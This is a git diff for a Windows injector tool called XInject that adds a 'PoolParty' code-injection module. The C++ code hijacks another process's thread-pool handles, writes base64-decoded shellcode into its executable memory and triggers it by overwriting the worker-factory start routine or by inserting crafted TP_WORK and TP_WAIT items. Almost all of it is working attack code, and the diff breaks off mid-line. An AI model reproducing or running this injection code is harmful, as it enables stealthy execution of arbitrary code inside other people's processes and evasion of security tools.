_In_ PTP_ALPC_CALLBACK Callback, + _Inout_opt_ PVOID Context, + _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron +); + +EXTERN_C +NTSTATUS NTAPI TpAllocJobNotification( + _Out_ PFULL_TP_JOB* JobReturn, + _In_ HANDLE HJob, + _In_ PVOID Callback, + _Inout_opt_ PVOID Context, + _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron +); + +// ------------// +// Proto types // +// ------------// + +PFULL_TP_WORK w_CreateThreadpoolWork(PTP_WORK_CALLBACK pWorkCallback, PVOID pWorkContext, PTP_CALLBACK_ENVIRON pCallbackEnviron); + +PFULL_TP_WAIT w_CreateThreadpoolWait(PTP_WAIT_CALLBACK pWaitCallback, PVOID pWaitContext, PTP_CALLBACK_ENVIRON pCallbackEnviron); + +PFULL_TP_IO w_CreateThreadpoolIo(HANDLE hFile, PTP_WIN32_IO_CALLBACK pCallback, PVOID pContext, PTP_CALLBACK_ENVIRON pCallbackEnviron); + +PFULL_TP_ALPC w_TpAllocAlpcCompletion(HANDLE hAlpc, PTP_ALPC_CALLBACK pCallback, PVOID pContext, PTP_CALLBACK_ENVIRON pCallbackEnviron); + +PFULL_TP_JOB w_TpAllocJobNotification(HANDLE hJob, PVOID pCallback, PVOID pContext, PTP_CALLBACK_ENVIRON pCallbackEnviron); + +PFULL_TP_TIMER w_CreateThreadpoolTimer(PTP_TIMER_CALLBACK pTimerCallback, PVOID pTimerContext, PTP_CALLBACK_ENVIRON pCallbackEnviron); \ No newline at end of file diff --git a/include/app/poolparty/WinApi.hpp b/include/app/poolparty/WinApi.hpp new file mode 100644 index 0000000..8e6f807 --- /dev/null +++ b/include/app/poolparty/WinApi.hpp @@ -0,0 +1,87 @@ +#pragma once + +#include + +#include "Misc.hpp" + +// ------------// +// Proto types // +// ------------// + +std::shared_ptr w_OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); + +std::shared_ptr w_DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions); + +std::shared_ptr w_CreateEvent(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitalState, LPWSTR lpName); + +std::shared_ptr w_CreateFile( + LPCWSTR lpFileName, + DWORD dwDesiredAccess, + DWORD dwShareMode, + LPSECURITY_ATTRIBUTES lpSecurityAttributes, + DWORD dwCreationDisposition, + DWORD dwFlagsAndAttributes, + HANDLE hTemplateFile +); + +void w_WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD dwNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped); + +std::shared_ptr w_CreateJobObject(LPSECURITY_ATTRIBUTES lpJobAttributes, LPWSTR lpName); + +void w_SetInformationJobObject(HANDLE hJob, JOBOBJECTINFOCLASS JobObjectInformationClass, LPVOID lpJobObjectInformation, DWORD cbJobObjectInformationLength); + +void w_AssignProcessToJobObject(HANDLE hJob, HANDLE hProcess); + +LPVOID w_VirtualAllocEx(HANDLE hTargetPid, SIZE_T szSizeOfChunk, DWORD dwAllocationType, DWORD dwProtect); + +void w_WriteProcessMemory(HANDLE hTargetPid, LPVOID AllocatedMemory, LPVOID pBuffer, SIZE_T szSizeOfBuffer); + +void w_SetEvent(HANDLE hEvent); + +// ---------------// +// Error handlers // +// ---------------// + +inline void RAISE_IF_FALSE(std::string FunctionName, BOOL Status) +{ + if (!Status) + { + throw std::runtime_error(GetLastErrorString(FunctionName, GetLastError())); + } +} + +inline HANDLE RAISE_IF_HANDLE_INVALID(std::string FunctionName, HANDLE hObject) +{ + if (NULL == hObject || INVALID_HANDLE_VALUE == hObject) + { + throw std::runtime_error(GetLastErrorString(FunctionName, GetLastError())); + } + return hObject; +} + +// ----------// +// Templates // +// ----------// + +template +std::unique_ptr w_ReadProcessMemory(HANDLE hTargetPid, LPVOID BaseAddress) +{ + auto Buffer = std::make_unique(); + auto BufferSize = sizeof(TStruct); + SIZE_T szNumberOfBytesRead; + RAISE_IF_FALSE( + "ReadProcessMemory", + ReadProcessMemory( + hTargetPid, + BaseAddress, + Buffer.get(), + BufferSize, + &szNumberOfBytesRead) + ); + + if (BufferSize != szNumberOfBytesRead) { + std::printf("WARNING: Read %d bytes instead of %d bytes\n", szNumberOfBytesRead, BufferSize); + } + + return Buffer; +} \ No newline at end of file diff --git a/include/app/poolparty/WorkerFactory.hpp b/include/app/poolparty/WorkerFactory.hpp new file mode 100644 index 0000000..105c482 --- /dev/null +++ b/include/app/poolparty/WorkerFactory.hpp @@ -0,0 +1,124 @@ +#pragma once + +#include + +#include "Native.hpp" + + +#define WORKER_FACTORY_RELEASE_WORKER 0x0001 +#define WORKER_FACTORY_WAIT 0x0002 +#define WORKER_FACTORY_SET_INFORMATION 0x0004 +#define WORKER_FACTORY_QUERY_INFORMATION 0x0008 +#define WORKER_FACTORY_READY_WORKER 0x0010 +#define WORKER_FACTORY_SHUTDOWN 0x0020 + +#define WORKER_FACTORY_ALL_ACCESS ( \ + STANDARD_RIGHTS_REQUIRED | \ + WORKER_FACTORY_RELEASE_WORKER | \ + WORKER_FACTORY_WAIT | \ + WORKER_FACTORY_SET_INFORMATION | \ + WORKER_FACTORY_QUERY_INFORMATION | \ + WORKER_FACTORY_READY_WORKER | \ + WORKER_FACTORY_SHUTDOWN \ +) + +// -----------// +// Structures // +// ----------// + +typedef struct _WORKER_FACTORY_BASIC_INFORMATION +{ + LARGE_INTEGER Timeout; + LARGE_INTEGER RetryTimeout; + LARGE_INTEGER IdleTimeout; + BOOLEAN Paused; + BOOLEAN TimerSet; + BOOLEAN QueuedToExWorker; + BOOLEAN MayCreate; + BOOLEAN CreateInProgress; + BOOLEAN InsertedIntoQueue; + BOOLEAN Shutdown; + ULONG BindingCount; + ULONG ThreadMinimum; + ULONG ThreadMaximum; + ULONG PendingWorkerCount; + ULONG WaitingWorkerCount; + ULONG TotalWorkerCount; + ULONG ReleaseCount; + LONGLONG InfiniteWaitGoal; + PVOID StartRoutine; + PVOID StartParameter; + HANDLE ProcessId; + SIZE_T StackReserve; + SIZE_T StackCommit; + NTSTATUS LastThreadCreationStatus; +} WORKER_FACTORY_BASIC_INFORMATION, * PWORKER_FACTORY_BASIC_INFORMATION; + + +// -------------// +// Enumerations // +// ------------// + +typedef enum _SET_WORKERFACTORYINFOCLASS +{ + WorkerFactoryTimeout = 0, + WorkerFactoryRetryTimeout = 1, + WorkerFactoryIdleTimeout = 2, + WorkerFactoryBindingCount = 3, + WorkerFactoryThreadMinimum = 4, + WorkerFactoryThreadMaximum = 5, + WorkerFactoryPaused = 6, + WorkerFactoryAdjustThreadGoal = 8, + WorkerFactoryCallbackType = 9, + WorkerFactoryStackInformation = 10, + WorkerFactoryThreadBasePriority = 11, + WorkerFactoryTimeoutWaiters = 12, + WorkerFactoryFlags = 13, + WorkerFactoryThreadSoftMaximum = 14, + WorkerFactoryMaxInfoClass = 15 /* Not implemented */ +} SET_WORKERFACTORYINFOCLASS, * PSET_WORKERFACTORYINFOCLASS; + +typedef enum _QUERY_WORKERFACTORYINFOCLASS +{ + WorkerFactoryBasicInformation = 7, +} QUERY_WORKERFACTORYINFOCLASS, * PQUERY_WORKERFACTORYINFOCLASS; + +// ------------------------// +// System call definitions // +// ------------------------// + +EXTERN_C +NTSTATUS NTAPI NtQueryInformationWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _In_ QUERY_WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, + _In_reads_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, + _In_ ULONG WorkerFactoryInformationLength, + _Out_opt_ PULONG ReturnLength +); + +EXTERN_C +NTSTATUS NTAPI NtSetInformationWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _In_ SET_WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, + _In_reads_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, + _In_ ULONG WorkerFactoryInformationLength +); + +// ------------// +// Proto types // +// ------------// + +void w_NtQueryInformationWorkerFactory( + HANDLE hWorkerFactory, + QUERY_WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, + PVOID WorkerFactoryInformation, + ULONG WorkerFactoryInformationLength, + PULONG ReturnLength +); + +void w_NtSetInformationWorkerFactory( + HANDLE hWorkerFactory, + SET_WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, + PVOID WorkerFactoryInformation, + ULONG WorkerFactoryInformationLength +); diff --git a/include/window/MainWindow.hpp b/include/window/MainWindow.hpp index 61afb87..3de90ce 100644 --- a/include/window/MainWindow.hpp +++ b/include/window/MainWindow.hpp @@ -22,6 +22,7 @@ namespace XInject inline bool mainwndOpen = true; inline bool debugWnd = false; inline int method; + inline int poolpartyMethod; //max = 7 inline int type; inline int pid; inline DWORD chosenPid; diff --git a/src/app/Injector.cpp b/src/app/Injector.cpp index 8de79dc..083b7c6 100644 --- a/src/app/Injector.cpp +++ b/src/app/Injector.cpp @@ -66,7 +66,7 @@ namespace XInject } PMySYSTEM_PROCESS_INFORMATION processInfo = reinterpret_cast(buffer.data()); for (; - processInfo;) + processInfo;) { hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, reinterpret_cast(processInfo->ProcessId)); if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) @@ -82,12 +82,12 @@ namespace XInject #ifdef _WIN64 if (!bWow64) procInfo.push_back( - ProcessInfo{reinterpret_cast(processInfo->ProcessId), processInfo->ImageName.Buffer}); + ProcessInfo{ reinterpret_cast(processInfo->ProcessId), processInfo->ImageName.Buffer }); #elif _WIN32 if (bWow64) procInfo.push_back( - ProcessInfo{reinterpret_cast(processInfo->ProcessId), processInfo->ImageName.Buffer}); + ProcessInfo{ reinterpret_cast(processInfo->ProcessId), processInfo->ImageName.Buffer }); #else Error::error(L"Only Support i386 & amd64 arch"); #endif @@ -129,7 +129,7 @@ namespace XInject int len = MultiByteToWideChar(CP_UTF8, 0, procName, -1, nullptr, 0); if (len == 0) return len; - wchar_t *wideStrConverted = new wchar_t[len]; + wchar_t* wideStrConverted = new wchar_t[len]; MultiByteToWideChar(CP_UTF8, 0, procName, -1, wideStrConverted, len); for (auto l : list) @@ -429,7 +429,7 @@ namespace XInject }; namespace reflector { - DWORD getOffset(HANDLE Image, CHAR *FuncName) + DWORD getOffset(HANDLE Image, CHAR* FuncName) { UINT_PTR uiBaseAddress = 0; UINT_PTR uiExportDir = 0; @@ -450,7 +450,7 @@ namespace XInject dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->NumberOfNames; while (dwCounter--) { - char *cpExportedFunctionName = (char *)(uiBaseAddress + rva2Offset(DEREF_32(uiNameArray), uiBaseAddress)); + char* cpExportedFunctionName = (char*)(uiBaseAddress + rva2Offset(DEREF_32(uiNameArray), uiBaseAddress)); if (strstr(cpExportedFunctionName, FuncName) != NULL) { @@ -729,7 +729,7 @@ namespace XInject } DWORD dwRet = 0; - CONTEXT context = {0}; + CONTEXT context = { 0 }; context.ContextFlags = CONTEXT_CONTROL; PMySYSTEM_PROCESS_INFORMATION processInfo = reinterpret_cast(buffer.data()); @@ -808,6 +808,91 @@ namespace XInject return true; } - } + bool poolPartyInject(DWORD pid, int mode, int method, std::string args) { + // DLL file url shellcode shellcode_file + //mode = 0 1 2 3 + // shellcode shellcode_file + //mode = 0 1 + bool bRet = true; + SIZE_T dwAllocSize = args.size() + 1; + SIZE_T dwWriteSize = 0; + LPVOID pAddress = nullptr; + LPVOID pBootAddress = nullptr; + // HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + std::string fileContent = ""; + + // if (hProcess == INVALID_HANDLE_VALUE) + // { + // Error::error(L"Invalid Process Handle"); + // return false; + // } + + // FIXME: need SeDebug Privillege + // if (mode == 0 && !isFileExists(args)) + // { + // Error::error(L"No such file"); + // CloseHandle(hProcess); + // return false; + // } + // if (mode == 0 || mode == 1) + // { + // if (mode == 0) + // fileContent = XInject::ReadFileToString(args); + // else if (mode == 1) + // fileContent = net::downloadFile(args); + // else + // { + // Error::error(L"Program Control Flow Changed!!!\nFatal error!!!"); + // exit(-1); + // } + // if (fileContent == "") + // { + // Error::error(L"Invalid Dll PE format"); + // return false; + // } + + // dwAllocSize = fileContent.size() + 1; + // pAddress = VirtualAllocEx(hProcess, NULL, dwAllocSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + // bRet = ::WriteProcessMemory(hProcess, pAddress, fileContent.c_str(), fileContent.length(), &dwWriteSize); + // if (!bRet) + // { + // Error::error(L"Write Dll to Process Failed"); + // VirtualFreeEx(hProcess, pAddress, dwAllocSize, MEM_COMMIT); + // CloseHandle(hProcess); + // return false; + // } + // pBootAddress = VirtualAllocEx(hProcess, NULL, XInject::Injector::shellcodeSize + 0x10, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + // for (size_t i = 0; i < 8; i++) + // bootshellcode[XInject::Injector::Offset + i] = *(PCHAR)((DWORD64)(&pAddress) + i); + + // bRet = ::WriteProcessMemory(hProcess, pBootAddress, bootshellcode, XInject::Injector::shellcodeSize, &dwWriteSize); + // if (!bRet) + // { + // Error::error(L"Write Shellcode to Process Failed"); + // VirtualFreeEx(hProcess, pBootAddress, dwAllocSize, MEM_COMMIT); + // CloseHandle(hProcess); + // return false; + // } + // const auto Injector = PoolPartyFactory(method, pid, bootshellcode, shellcodeSize); + // Injector->Inject(); + // return true; + // } + + if (mode == 0) { //shellcode + std::string decShellcode = Crypto::Base64Decode(args); + const auto Injector = PoolPartyFactory(method, pid, (unsigned char*)(decShellcode.c_str()), decShellcode.length()); + Injector->Inject(); + return true; -} // namespace XInject \ No newline at end of file + } + else if (mode == 1) { //shellcode_file + std::string base64Shellcode = XInject::ReadFileToString(args); + std::string decShellcode = Crypto::Base64Decode(base64Shellcode); + const auto Injector = PoolPartyFactory(method, pid, (unsigned char*)(decShellcode.c_str()), decShellcode.length()); + Injector->Inject(); + return true; + } + return false; + } + } +} // namespace XInject diff --git a/src/app/poolparty/HandleHijacker.cpp b/src/app/poolparty/HandleHijacker.cpp new file mode 100644 index 0000000..2572f85 --- /dev/null +++ b/src/app/poolparty/HandleHijacker.cpp @@ -0,0 +1,54 @@ +#include "include/app/poolparty/HandleHijacker.hpp" + + +std::shared_ptr HijackProcessHandle(std::wstring wsObjectType, std::shared_ptr p_hTarget, DWORD dwDesiredAccess) +{ + auto pProcessInformation = w_QueryInformation("NtQueryInformationProcess", NtQueryInformationProcess, *p_hTarget, static_cast(ProcessHandleInformation)); + const auto pProcessHandleInformation = reinterpret_cast(pProcessInformation.data()); + + std::shared_ptr p_hDuplicatedObject; + std::vector pObjectInformation; + PPUBLIC_OBJECT_TYPE_INFORMATION pObjectTypeInformation; + + for (auto i = 0; i < pProcessHandleInformation->NumberOfHandles; i++) + { + try { + + p_hDuplicatedObject = w_DuplicateHandle( + *p_hTarget, + pProcessHandleInformation->Handles[i].HandleValue, + GetCurrentProcess(), + dwDesiredAccess, + FALSE, + NULL); + + pObjectInformation = w_QueryInformation("NtQueryObject", NtQueryObject, *p_hDuplicatedObject, ObjectTypeInformation); + pObjectTypeInformation = reinterpret_cast(pObjectInformation.data()); + + if (wsObjectType != std::wstring(pObjectTypeInformation->TypeName.Buffer)) { + continue; + } + + return p_hDuplicatedObject; + } + catch (std::runtime_error) {} + } + + throw std::runtime_error("Failed to hijack object handle"); +} + +std::shared_ptr HijackWorkerFactoryProcessHandle(std::shared_ptr p_hTarget) +{ + return HijackProcessHandle(std::wstring(L"TpWorkerFactory"), p_hTarget, WORKER_FACTORY_ALL_ACCESS); +} + +std::shared_ptr HijackIoCompletionProcessHandle(std::shared_ptr p_hTarget) +{ + return HijackProcessHandle(std::wstring(L"IoCompletion"), p_hTarget, IO_COMPLETION_ALL_ACCESS); +} + +std::shared_ptr HijackIRTimerProcessHandle(std::shared_ptr p_hTarget) +{ + return HijackProcessHandle(std::wstring(L"IRTimer"), p_hTarget, TIMER_ALL_ACCESS); +} + diff --git a/src/app/poolparty/Misc.cpp b/src/app/poolparty/Misc.cpp new file mode 100644 index 0000000..b9dff72 --- /dev/null +++ b/src/app/poolparty/Misc.cpp @@ -0,0 +1,48 @@ +#include "include/app/poolparty/Misc.hpp" + +// TODO: Move to WinApi.hpp +std::string w_FormatMessageA(DWORD dwFlags, LPCVOID lpSource, DWORD dwMessageId, DWORD dwLanguageId, DWORD nSize, va_list* Arguments) +{ + LPSTR pErrorText = nullptr; + + auto szErrorText = FormatMessageA( + dwFlags, + lpSource, + dwMessageId, + dwLanguageId, + reinterpret_cast(&pErrorText), + nSize, + Arguments); + if (0 == szErrorText) + { + std::ostringstream oss; + oss << "FormatMessageA failed: " << GetLastError(); + throw std::runtime_error(oss.str()); + } + + const auto sErrorText = std::string(pErrorText); + + /* if FORMAT_MESSAGE_ALLOCATE_BUFFER is used, the buffer is allocated using LocalAlloc, so after the std::string initialization we should free it */ + if (dwFlags & FORMAT_MESSAGE_ALLOCATE_BUFFER) + { + LocalFree(pErrorText); + pErrorText = nullptr; + } + + return sErrorText; +} + +std::string GetLastErrorString(std::string FailedFunctionName, DWORD dwLastError) +{ + auto sErrorText = w_FormatMessageA( + FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_IGNORE_INSERTS, + nullptr, + dwLastError, + LANG_SYSTEM_DEFAULT, + 0, + nullptr); + + std::ostringstream oss; + oss << FailedFunctionName << " failed: " << sErrorText; + return oss.str(); +} \ No newline at end of file diff --git a/src/app/poolparty/Native.cpp b/src/app/poolparty/Native.cpp new file mode 100644 index 0000000..1e9ecc8 --- /dev/null +++ b/src/app/poolparty/Native.cpp @@ -0,0 +1,136 @@ +#include "include/app/poolparty/Native.hpp" + +void w_ZwAssociateWaitCompletionPacket( + HANDLE WaitCopmletionPacketHandle, + HANDLE IoCompletionHandle, + HANDLE TargetObjectHandle, + PVOID KeyContext, + PVOID ApcContext, + NTSTATUS IoStatus, + ULONG_PTR IoStatusInformation, + PBOOLEAN AlreadySignaled +) +{ + NT_SUCCESS_OR_RAISE( + "ZwAssociateWaitCompletionPacket", + ZwAssociateWaitCompletionPacket( + WaitCopmletionPacketHandle, + IoCompletionHandle, + TargetObjectHandle, + KeyContext, + ApcContext, + IoStatus, + IoStatusInformation, + AlreadySignaled) + ); +} + +void w_ZwSetInformationFile( + HANDLE hFile, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + ULONG FileInformationClass +) +{ + NT_SUCCESS_OR_RAISE( + "ZwSetInformationFile", + ZwSetInformationFile( + hFile, + IoStatusBlock, + FileInformation, + Length, + FileInformationClass) + ); +} + +HANDLE w_NtAlpcCreatePort(POBJECT_ATTRIBUTES ObjectAttributes, PALPC_PORT_ATTRIBUTES PortAttributes) { + HANDLE hAlpc; + NT_SUCCESS_OR_RAISE( + "NtAlpcCreatePort", + NtAlpcCreatePort(&hAlpc, ObjectAttributes, PortAttributes) + ); + return hAlpc; +} + +void w_NtAlpcSetInformation(HANDLE hAlpc, ULONG PortInformationClass, PVOID PortInformation, ULONG Length) +{ + NT_SUCCESS_OR_RAISE( + "NtAlpcSetInformation", + NtAlpcSetInformation(hAlpc, PortInformationClass, PortInformation, Length) + ); +} + + +HANDLE w_NtAlpcConnectPort( + PUNICODE_STRING PortName, + POBJECT_ATTRIBUTES ObjectAttributes, + PALPC_PORT_ATTRIBUTES PortAttributes, + DWORD ConnectionFlags, + PSID RequiredServerSid, + PPORT_MESSAGE ConnectionMessage, + PSIZE_T ConnectMessageSize, + PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes, + PALPC_MESSAGE_ATTRIBUTES InMessageAttributes, + PLARGE_INTEGER Timeout +) +{ + HANDLE hAlpc; + NT_SUCCESS_OR_RAISE( + "NtAlpcConnectPort", + NtAlpcConnectPort( + &hAlpc, + PortName, + ObjectAttributes, + PortAttributes, + ConnectionFlags, + RequiredServerSid, + ConnectionMessage, + ConnectMessageSize, + OutMessageAttributes, + InMessageAttributes, + Timeout) + ); + + return hAlpc; +} + +BOOLEAN w_RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread) +{ + BOOLEAN Enabled = NULL; + NT_SUCCESS_OR_RAISE( + "RtlAdjustPrivilege", + RtlAdjustPrivilege( + Privilege, + Enable, + CurrentThread, + &Enabled) + ); + return Enabled; +} + +void w_ZwSetIoCompletion(HANDLE IoCompletionHandle, PVOID KeyContext, PVOID ApcContext, NTSTATUS IoStatus, ULONG_PTR IoStatusInformation) +{ + NT_SUCCESS_OR_RAISE( + "ZwSetIoCompletion", + ZwSetIoCompletion( + IoCompletionHandle, + KeyContext, + ApcContext, + IoStatus, + IoStatusInformation) + ); +} + +void w_NtSetTimer2(HANDLE TimerHandle, PLARGE_INTEGER DueTime, PLARGE_INTEGER Period, PT2_SET_PARAMETERS Parameters) +{ + NT_SUCCESS_OR_RAISE( + "NtSetTimer2", + NtSetTimer2( + TimerHandle, + DueTime, + Period, + Parameters) + ); + +} \ No newline at end of file diff --git a/src/app/poolparty/PoolParty.cpp b/src/app/poolparty/PoolParty.cpp new file mode 100644 index 0000000..28c7d65 --- /dev/null +++ b/src/app/poolparty/PoolParty.cpp @@ -0,0 +1,421 @@ +#include "include/app/poolparty/PoolParty.hpp" + +std::wstring_convert> g_WideString_Converter; + +PoolParty::PoolParty(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize) + : m_dwTargetPid(dwTargetPid), m_cShellcode(cShellcode), m_szShellcodeSize(szShellcodeSize) +{ +} + +std::shared_ptr PoolParty::GetTargetProcessHandle() const +{ + auto p_hTargetPid = w_OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, m_dwTargetPid); + std::cout << "Retrieved handle to the target process: " << *p_hTargetPid << std::endl; + return p_hTargetPid; +} + +std::shared_ptr PoolParty::GetTargetThreadPoolWorkerFactoryHandle() const +{ + auto p_hWorkerFactory = HijackWorkerFactoryProcessHandle(m_p_hTargetPid); + std::cout << "Hijacked worker factory handle from the target process: " << *p_hWorkerFactory << std::endl; + return p_hWorkerFactory; +} + +std::shared_ptr PoolParty::GetTargetThreadPoolIoCompletionHandle() const +{ + auto p_hIoCompletion = HijackIoCompletionProcessHandle(m_p_hTargetPid); + std::cout << "Hijacked I/O completion handle from the target process: " << *p_hIoCompletion << std::endl; + return p_hIoCompletion; +} + +std::shared_ptr PoolParty::GetTargetThreadPoolTimerHandle() const +{ + auto p_hTimer = HijackIRTimerProcessHandle(m_p_hTargetPid); + std::cout << "Hijacked timer queue handle from the target process: " << *p_hTimer << std::endl; + return p_hTimer; +} + +WORKER_FACTORY_BASIC_INFORMATION PoolParty::GetWorkerFactoryBasicInformation(HANDLE hWorkerFactory) const +{ + WORKER_FACTORY_BASIC_INFORMATION WorkerFactoryInformation{ 0 }; + w_NtQueryInformationWorkerFactory(hWorkerFactory, WorkerFactoryBasicInformation, &WorkerFactoryInformation, sizeof(WorkerFactoryInformation), nullptr); + std::cout << "Retrieved target worker factory basic information" << std::endl; + return WorkerFactoryInformation; +} + +void PoolParty::HijackHandles() +{ +} + +LPVOID PoolParty::AllocateShellcodeMemory() const +{ + LPVOID ShellcodeAddress = w_VirtualAllocEx(*m_p_hTargetPid, m_szShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + std::cout << "Allocated shellcode memory in the target process: " << ShellcodeAddress << std::endl; + return ShellcodeAddress; +} + +void PoolParty::WriteShellcode() const +{ + w_WriteProcessMemory(*m_p_hTargetPid, m_ShellcodeAddress, m_cShellcode, m_szShellcodeSize); + std::cout << "Written shellcode to the target process" << std::endl; +} + +void PoolParty::Inject() +{ + std::cout << "Starting PoolParty attack against process id: " << m_dwTargetPid << std::endl; + m_p_hTargetPid = this->GetTargetProcessHandle(); + this->HijackHandles(); + m_ShellcodeAddress = this->AllocateShellcodeMemory(); + this->WriteShellcode(); + this->SetupExecution(); + std::cout << "PoolParty attack completed successfully" << std::endl; +} + +AsynchronousWorkItemInsertion::AsynchronousWorkItemInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize) + : PoolParty{ dwTargetPid, cShellcode, szShellcodeSize } +{ +} + +void AsynchronousWorkItemInsertion::HijackHandles() +{ + m_p_hIoCompletion = this->GetTargetThreadPoolIoCompletionHandle(); +} + +WorkerFactoryStartRoutineOverwrite::WorkerFactoryStartRoutineOverwrite(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize) + : PoolParty{ dwTargetPid, cShellcode, szShellcodeSize } +{ +} + +void WorkerFactoryStartRoutineOverwrite::HijackHandles() +{ + m_p_hWorkerFactory = this->GetTargetThreadPoolWorkerFactoryHandle(); + m_WorkerFactoryInformation = this->GetWorkerFactoryBasicInformation(*m_p_hWorkerFactory); +} + +LPVOID WorkerFactoryStartRoutineOverwrite::AllocateShellcodeMemory() const +{ + std::cout << "Skipping shellcode allocation, using the target process worker factory start routine" << std::endl; + return m_WorkerFactoryInformation.StartRoutine; +} + +void WorkerFactoryStartRoutineOverwrite::SetupExecution() const +{ + ULONG WorkerFactoryMinimumThreadNumber = m_WorkerFactoryInformation.TotalWorkerCount + 1; + w_NtSetInformationWorkerFactory(*m_p_hWorkerFactory, WorkerFactoryThreadMinimum, &WorkerFactoryMinimumThreadNumber, sizeof(ULONG)); + std::cout << "Set target process worker factory minimum threads to: " << WorkerFactoryMinimumThreadNumber << std::endl; +} + +RemoteTpWorkInsertion::RemoteTpWorkInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize) + : PoolParty{ dwTargetPid, cShellcode, szShellcodeSize } +{ +} + +void RemoteTpWorkInsertion::HijackHandles() +{ + m_p_hWorkerFactory = this->GetTargetThreadPoolWorkerFactoryHandle(); +} + + +void RemoteTpWorkInsertion::SetupExecution() const +{ + auto WorkerFactoryInformation = this->GetWorkerFactoryBasicInformation(*m_p_hWorkerFactory); + + const auto TargetTpPool = w_ReadProcessMemory(*m_p_hTargetPid, WorkerFactoryInformation.StartParameter); + std::cout << "Read target process's TP_POOL structure into the current process" << std::endl; + + const auto TargetTaskQueueHighPriorityList = &TargetTpPool->TaskQueue[TP_CALLBACK_PRIORITY_HIGH]->Queue; + + const auto pTpWork = w_CreateThreadpoolWork(static_cast(m_ShellcodeAddress), nullptr, nullptr); + std::cout << "Created TP_WORK structure associated with the shellcode" << std::endl; + + pTpWork->CleanupGroupMember.Pool = static_cast(WorkerFactoryInformation.StartParameter); + pTpWork->Task.ListEntry.Flink = TargetTaskQueueHighPriorityList; + pTpWork->Task.ListEntry.Blink = TargetTaskQueueHighPriorityList; + pTpWork->WorkState.Exchange = 0x2; + std::cout << "Modified the TP_WORK structure to be associated with target process's TP_POOL" << std::endl; + + const auto pRemoteTpWork = static_cast(w_VirtualAllocEx(*m_p_hTargetPid, sizeof(FULL_TP_WORK), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); + std::cout << "Allocated TP_WORK memory in the target process: " << pRemoteTpWork << std::endl; + w_WriteProcessMemory(*m_p_hTargetPid, pRemoteTpWork, pTpWork, sizeof(FULL_TP_WORK)); + std::cout << "Written the specially crafted TP_WORK structure to the target process" << std::endl; + + auto RemoteWorkItemTaskList = &pRemoteTpWork->Task.ListEntry; + w_WriteProcessMemory(*m_p_hTargetPid, &TargetTpPool->TaskQueue[TP_CALLBACK_PRIORITY_HIGH]->Queue.Flink, &RemoteWorkItemTaskList, sizeof(RemoteWorkItemTaskList)); + w_WriteProcessMemory(*m_p_hTargetPid, &TargetTpPool->TaskQueue[TP_CALLBACK_PRIORITY_HIGH]->Queue.Blink, &RemoteWorkItemTaskList, sizeof(RemoteWorkItemTaskList)); + std::cout << "Modified the target process's TP_POOL task queue list entry to point to the specially crafted TP_WORK" << std::endl; +} + +RemoteTpWaitInsertion::RemoteTpWaitInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize) + : AsynchronousWorkItemInsertion{ dwTargetPid, cShellcode, szShellcodeSize } +{ +} + +void RemoteTpWaitInsertion::SetupExecution() const +{ + const auto pTpWait = w_CreateThreadpoolWait(static_cast(m_ShellcodeAddress), nullptr, nullptr); + std::cout << "Created TP_WAIT structure associated with the shellcode" << std::endl; + + const auto pRemoteTpWait = static_cast(w_VirtualAllocEx(*m_p_hTargetPid, sizeof(FULL_TP_WAIT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); + std::cout << "Allocated TP_WAIT memory in the target process: " << pRemoteTpWait << std::endl; + w_WriteProcessMemory(*m_p_hTargetPid, pRemoteTpWait, pTpWait, sizeof(FULL_TP_WAIT)); + std::cout << "Written the specially crafted TP_WAIT structure to the target process" << std::endl; + + const auto pRemoteTpDirect = static_cast(w_VirtualAllocEx(*m_p_hTargetPid, sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); + std::cout << "Allocated TP_DIRECT memory in the target process: " << pRemoteTpDirect << std::endl; + w_WriteProcessMemory(*m_p_hTargetPid, pRemoteTpDirect, &pTpWait->Direct, sizeof(TP_DIRECT)); + std::cout << "Written the TP_DIRECT structure to the target process" << std::endl; + + const auto p_hEvent = w_CreateEvent(nullptr, FALSE, FALSE, const_cast(POOL_PARTY_EVENT_NAME)); + std::cout << "Created event with name `%" << g_WideString_Converter.to_bytes(POOL_PARTY_EVENT_NAME) << 